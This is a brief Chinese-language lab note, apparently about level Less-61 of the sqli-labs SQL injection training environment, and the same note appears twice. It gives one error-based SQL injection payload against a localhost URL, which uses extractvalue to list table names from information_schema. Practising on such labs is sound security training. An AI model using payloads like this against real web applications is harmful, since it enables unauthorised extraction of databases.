与less58、59、60一致,只是对id的处理不同,直接给出一个示例payload:
http://127.0.0.1/sql/Less-61/?id=-1‘)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e))--+
2024-01-21 11:04:22
与less58、59、60一致,只是对id的处理不同,直接给出一个示例payload:
http://127.0.0.1/sql/Less-61/?id=-1‘)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e))--+